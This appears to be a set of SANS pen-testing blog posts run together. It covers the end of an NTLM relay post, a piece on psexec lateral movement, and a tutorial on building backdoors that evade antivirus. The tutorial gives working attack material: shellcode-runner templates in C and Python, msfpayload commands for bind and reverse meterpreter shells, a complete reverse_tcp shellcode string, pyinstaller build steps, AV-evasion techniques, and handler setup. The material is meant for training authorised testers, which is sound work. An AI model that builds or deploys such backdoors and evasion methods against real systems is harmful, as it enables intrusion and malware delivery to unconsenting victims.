Instead of getting back an “Access Denied” like we did from Metasploit, we get back a “System cannot find the path specified” error.  I like this error message.  I think a system admin might question why his username and password didn’t work on a target before he would question why the path doesn’t exist.  The script’s message back to the admin seems therefore more subtle than the Metasploit message and less likely to get noticed.  Immediately we see the relay occur in the Python script.  It authenticates to and launches the meterpreter process as a service using the username and password provided by

The payload is delivered to the target after authenticating over NTLMv2 and meterpreter is launched on the target.  To keep our shell, we need to quickly migrate to another more stable process (to help automate that migration, we could use one of the migration scripts available for the meterpreter).

Ah, the delicious smell of a brand new meterpreter shell.  And of course, because it is a Python module, you can incorporate this script into your own automated attack tools.

Learn about GIAC’s new Python Coder certification 

Thank you!

–Mark Baggett


Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

A Penetration Tester’s Pledge

by Ed Skoudis

Over the weekend, I was thinking about the wonderful psexec capabilities of tools like Metasploit, the Nmap Scripting engine smb-psexec script, and the psexec tool itself from Microsoft Sysinternals.  It’s my go-to exploit on Windows targets, once I have gained SMB access and admin credentials (username and password, or username and hash for pass-the-hash attacks).  It works on a fully patched Windows environment, giving you code execution with local system privileges of a program or Metasploit payload of your choice.  That’s especially helpful in a penetration test once you gain access to an internal network that is relatively well patched.  We talk a lot about how to leverage this capability creatively and effectively in my SANS SEC560 course on Network Penetration Testing and Ethical Hacking.

During my class, this lesson sinks in with some students faster than others.  Where it doesn’t sink in, target crashing inevitably ensues as people try other service-side exploits to hammer a target.  To help make the lesson of the usefulness of psexec a little more memorable, I’ve created the following Despair-like poster, titled “A Penetration Tester’s Pledge”:

*Photo credit: Wiki Commons, User Grj23

Don’t get me wrong: I love service-side exploits as much as the next guy.  But, some of them could crash target processes or even entire systems.  Further, psexec is so wonderful because it comes in handy once you’ve compromised one target (perhaps with a client-side exploit), escalated privileges, grabbed some juicy-licious admin credentials, and are looking to spread to more prey.   Now, you can target other fully patched Windows systems in the environment with psexec, your new besty-best friend forever.

The psexec capability just completely rocks, and we have several different variants to choose from:

  • If you want super flexibility in making the target machine run a Metasploit payload of your choosing, such as the mighty Meterpreter, use Metasploit’s psexec module (windows/smb/psexec), which also supports pass-the-hash for authentication (no need to know what the password is; instead, just set SMBPass to the LM:NT hashes). You can also choose a custom RPORT besides TCP 445, so you can port-forward pivot other ports through to your ultimate target’s TCP port 445.
  • If you want to run something at scale across a large number of machines you’ve scanned, consider using Ron Bowes’ psexec Nmap Scripting Engine script on targets where you’ve found TCP port 445 open, which also supports pass-the-hash sweetness.
  • If you are in an environment that prohibits you from running third-party attack tools like Metasploit or Nmap (oucha, I know), you might want to use Microsoft SysInternals’ own psexec program, which typically doesn’t flag anti-virus tools because it comes from Microsoft itself and is regularly used for system administration.  This version doesn’t explicitly support pass-the-hash, but you can use Hernan Ochoa’s excellent Windows Credentials Editor (WCE) to inject your hashes into your Windows machine’s memory, and then use Sysinternals psexec with the new credentials.

Regardless of the variant you use, psexec leverages your credentials to make an SMB connection to the target machine, writes into its file system some code you want to execute, creates a service on the box, and uses the service to execute your code. If you use the Metasploit or NSE versions of psexec, it then cleans up after itself, by deleting the service and removing the code from the file system (both the service and code have a pseudo-random name in Metasploit and NSE).  Yaaaayyyy, Metasploit and NSE!  Thanks for doing it right.

Important note: the Microsoft Sysinternals psexec program doesn’t remove the service that it creates.  Thus, as a penetration tester, you’ll either leave behind an installed service on the machine, or you’ll need to remove it after you are done.  I like to remove it, restoring the environment to what it was like before I was there, lest I slightly increase the attack service of the target machine by leaving behind the psexec service and its related code.  You can remove it using the Microsoft service control (sc) command, as follows:

C:\> sc \\<RemoteTarget> stop psexesvc

C:\> del \\<RemoteTarget>\admin$\psexesvc.exe

C:\> del \\<RemoteTarget>\admin$\system32\psexesvc.exe

C:\> sc \\<RemoteTarget> delete psexesvc

And, one more SUPER IMPORTANT NOTE: The Sysinternals psexec has an option to allow you to specify a different user and password other than your current credentials (the -u <user> and -p <password> command flags).  If you don’t use the -u <user> and -p <password> option with the Sysinternals psexec, the tool uses whatever Microsoft Windows authentication your client and the target support (such as NTLMv2), passing through your existing credentials via a challenge/response protocol.  However, if you use -u and -p with Sysinternals psexec, it will PASS THROUGH THESE CREDENTIALS IN CLEAR TEXT (as described brilliantly by Mike Pilkington here and in Section 4 of this article by Jean-Baptiste Marchand  here).  That’s why I recommend you NEVER use -u and -p with psexec, unless you are comfortable passing through admin-level creds in cleartext.  Your best bet it so use it without the -u and -p options.

So, there you have it. Psexec… a great capability and trusted friend, along with a few notes on its safe usage.


–Ed Skoudis

SANS Institute Fellow
Counter Hack Challenges Founder

Upcoming SANS Special Event – 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen

Tips for Evading Anti-Virus During Pen Testing

By Mark Baggett, the SANS Institute

You know the old saying… “Give a man a backdoor undetected by antivirus and he pwns for a day.  Teach a man to make backdoors undetected by antivirus and you will get free drinks for life at DEF CON.”

During the exploitation phase of a pen test or ethical hacking engagement, you will ultimately need to try to cause code to run on target system computers.  Whether accomplished by phishing emails, delivering a payload through an exploit, or social engineering, running code on target computers is part of most penetration tests.  That means that you will need to be able to bypass antivirus software or other host-based protection for successful exploitation.  The most effective way to avoid antivirus detection on your target’s computers is to create your own customized backdoor.  Here are some tips for creating your own backdoors for use in penetration testing:

TIP #1:  Do your reconnaissance.   Know what antivirus software target system personnel are running.   While it is certainly possible to make a backdoor that evades all antivirus software products, there is no need to waste those cycles if your target is only running one product, a significant likelihood.  Narrow down your options by getting this information from target system personnel by asking, looking for information leakage such as e-mails footers that proclaim the AV product, or even a friendly social engineering phone call if such interaction is allowed in your rules of engagement.

TIP #2:  If you want to use your backdoor for more than one project, do not submit it to or any of the other online sandboxes/scanner that work with antivirus software companies to generate new signatures.  Instead, buy a copy of the antivirus product used by your target organization and test it on your own systems.  Alternatively if your target is using one of the nine AV products scanned by VirusNoThanks, you could use and be sure to select “Do no distribute the sample” at the bottom of the page.

TIP #3:  KISS – Keep it simple, shell-boy.  I’m a minimalist when it comes to remote access.  I just need enough to get in, disable antivirus (if the rules of engagement will allow it), and then move in with more full-featured tools.  This approach requires less coding on my part and there is less of a chance that I will incorporate something that antivirus doesn’t like.

TIP #4:  You don’t have to COMPLETELY reinvent this wheel.  Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and Windows Services.   Start with them and modify them only as required to avoid your target’s defenses.   For example:

$ cat data/templates/src/pe/exe/template.c
#include &lt;stdio.h&gt;
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";

int main(int argc, char **argv) {
        (*(void (*)()) payload)();

You can set the payload[SCSIZE] array to any shell code that meets your needs and compile it.  There are plenty of options out there for shell code.  You can get several examples of shell code from exploit-db ( and many of them do not trigger antivirus software.  Or, you can also use msfpayload or msfvenom from Metasploit to generate C shell code and plug that into the template.  For example:

$ ./msfpayload windows/shell_bind_tcp C

This generates C shell code to bind a shell to TCP port 4444.   Compile it, and check to see if the AV product running in your lab detects it.  If the compiled program is detected, you have a lot of flexibility in source code.   You can try:

–        Moving part of your shell code to a different data segment

–        Compile it to different PE, Old EXE, or COM (yes… I said .COM) formats

–        Break the shell code up into smaller strings and mix the order in the source code.  Then reassemble it into a variable in memory in the correct order before calling it

–        Use timed events or wait() functions to delay the payload execution to avoid heuristic engines

–        Create your own simple encoding engine to mask the bytes… it is easier than you think! Check out

I like writing in Python, then using pyinstaller to create an exe out of my Python script.    Here is a Python template I wrote that does the same thing as the C template provided with Metasploit:

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

If you want to use a Metasploit payload as your shell code, you can easily turn C source into a Python-compatible string by deleting all the double quotes and new lines using the handy tr command as follows:
$ ./msfpayload windows/shell_bind_tcp C  | tr -d '"' | tr -d '\n'

If you generate a multi-stage payload, just grab the string for stage one.  For example, to create a Metasploit framework reverse Meterpreter, I would do the following:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST= C | tr -d '"' | tr -d '\n' | more

Then grab the string produced for STAGE1 and plug it into my template as follows:

from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

Next, I'll compile my new backdoor with pyinstaller with the following options:
$ python
$ python --onefile --noconsole
$ python shell_template\shell_template.spec

To use the new payload we setup the Metasploit framework with the multi-handler “exploit”.    Once our program is run on the target, it connects back to the framework where stage2 is delivered.

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST LHOST =>
msf  exploit(handler) > exploit

I hope you find these techniques useful as you help organizations better understand their security risks and improve their defenses through your penetration testing work!